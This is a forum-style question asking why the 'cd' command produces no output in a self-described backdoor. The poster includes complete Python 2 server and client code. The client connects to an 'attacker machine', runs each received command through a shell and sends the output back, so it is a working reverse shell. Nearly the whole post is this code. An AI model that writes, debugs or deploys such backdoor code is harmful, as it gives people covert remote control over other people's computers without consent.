The backdoor is working successfully so far the client connects to the server the servers sends the command to the client the client sends the information from the command back to the server. But when i use the cd command the command output is not sent back to the server any ideas is it the sub process code in the client?
Here's my Server Code:
from socket import *
HOST = 'localhost' # '' means bind to all interfaces
PORT = 443 # port
# create our socket handler
s = socket(AF_INET, SOCK_STREAM)
# set is so that when we cancel out we can reuse port
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# bind to interface
s.bind((HOST, PORT))
# print we are accepting connections
print ("Listening on ")
print (HOST)
print(PORT)
# listen for only 10 connection
s.listen(10)
# accept connections
conn, addr = s.accept()
# print connected by ipaddress
print 'Connected by', addr
# receive initial connection
data = conn.recv(1024)
while True:
task = raw_input("Enter the task needed")
if task == "cmd":
# start loop
while True:
command = raw_input("Enter shell command or quit: ")
# send shell command
conn.send(command)
# receive output from linux command
data = conn.recv(1024)
# print the output of the linux command
print data
# if we specify quit then break out of loop and close socket
if command == "quit": break
# close socket
conn.close()
The Client Code:
import socket,subprocess
HOST = 'localhost' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send("Connection Established!")
while True:
# recieve shell command
data = s.recv(1024)
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# if its quit, then break out and close socket
if data == "quit": break
# close socket
s.close()